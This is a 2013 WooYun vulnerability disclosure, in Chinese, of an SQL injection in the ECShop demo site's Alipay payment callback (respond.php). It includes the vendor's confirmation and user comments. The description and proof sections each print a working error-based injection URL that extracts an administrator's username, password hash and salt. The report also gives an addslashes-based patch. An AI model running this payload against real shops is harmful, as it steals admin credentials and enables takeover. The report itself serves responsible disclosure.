当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-025316

漏洞标题：ecshop展示站SQL注入漏洞,可利用

相关厂商：ShopEx

漏洞作者： hooklt（小兰）

提交时间：2013-06-07 11:17

修复时间：2013-07-22 11:17

公开时间：2013-07-22 11:17

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：5

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-06-07： 细节已通知厂商并且等待厂商处理中
2013-06-07： 厂商已经确认，细节仅向厂商公开
2013-06-17： 细节向核心白帽子及相关领域专家公开
2013-06-27： 细节向普通白帽子公开
2013-07-07： 细节向实习白帽子公开
2013-07-22： 细节向公众公开

简要描述：

ecshop展示站注入漏洞

详细说明：

http://www.ecshop.cn/respond.php?code=alipay&subject=00&out_trade_no=%000'%20and%20(select%20*%20from(select%20count(*),concat(floor(rand(0)*2),(select%20concat(000x7c,user_name,000x7c,password,000x7c,ec_salt)%20from%20ecs_admin_user%20limit%201))a%20from%20information_schema.tables%20group%20by%20a)b)%20--%20by%20a


ecshop.jpg

漏洞证明：

http://www.ecshop.cn/respond.php?code=alipay&subject=00&out_trade_no=%000'%20and%20(select%20*%20from(select%20count(*),concat(floor(rand(0)*2),(select%20concat(000x7c,user_name,000x7c,password,000x7c,ec_salt)%20from%20ecs_admin_user%20limit%201))a%20from%20information_schema.tables%20group%20by%20a)b)%20--%20by%20a


ecshop.jpg

修复方案：

各种过滤升级成最新版！话说官方自己都出补丁了吧
2.修改/includes/modules/payment/alipay.php文件中
$order_sn = str_replace($_GET['subject'], '',$_GET['out_trade_no']);
$order_sn = trim($order_sn);
修改成如下代码
$order_sn = str_replace($_GET['subject'], '',$_GET['out_trade_no']);
$order_sn = trim(addslashes($order_sn));

版权声明：转载请注明来源 hooklt（小兰）@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：4

确认时间：2013-06-07 12:21

厂商回复：

非常感谢您为shopex信息安全做的贡献
我们将尽快修复
非常感谢

最新状态：

暂无

漏洞评价：

评论

  1. 2013-06-07 11:52 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞，心中自然无码。)

    卧槽，官方还可利用？啥漏洞？

  2. 2013-06-07 12:08 | 齐迹 ( 核心白帽子 | Rank:784 漏洞数:100 | 一名普通的phper开发者，关注web安全。)

    @疯狗 还没来得及打补丁呗。。。

  3. 2013-06-18 23:32 | 乐乐、 ( 普通白帽子 | Rank:853 漏洞数:189 )

    膜拜小兰大牛！

  4. 2013-06-19 12:06 | hooklt（小兰） ( 路人 | Rank:20 漏洞数:4 | 在山的那边海的那边有一群安全男，他们苦逼...)

    @乐乐、 乐乐儿子好久不见啊

  5. 2013-06-19 13:42 | 乐乐、 ( 普通白帽子 | Rank:853 漏洞数:189 )

    @hooklt（小兰） 小兰孙儿好久不见~

  6. 2013-06-23 23:45 | hooklt（小兰） ( 路人 | Rank:20 漏洞数:4 | 在山的那边海的那边有一群安全男，他们苦逼...)

    @乐乐、 乐乐曾孙子好久不见

  7. 2013-06-23 23:59 | 乐乐、 ( 普通白帽子 | Rank:853 漏洞数:189 )

    @hooklt（小兰） -.- 尼玛，有意思吗。

  8. 2013-07-05 17:55 | hfy ( 路人 | Rank:5 漏洞数:3 | 打了个狗~)

    靠，丢了我两个币，这个洞都不知道多久了~

  9. 2013-07-30 22:12 | Soul ( 路人 | Rank:12 漏洞数:9 | 1+1=?)

    楼主提交的ecshop，厂商回复：非常感谢您为shopex信息安全做的贡献。这我跟小伙伴们都凌乱了！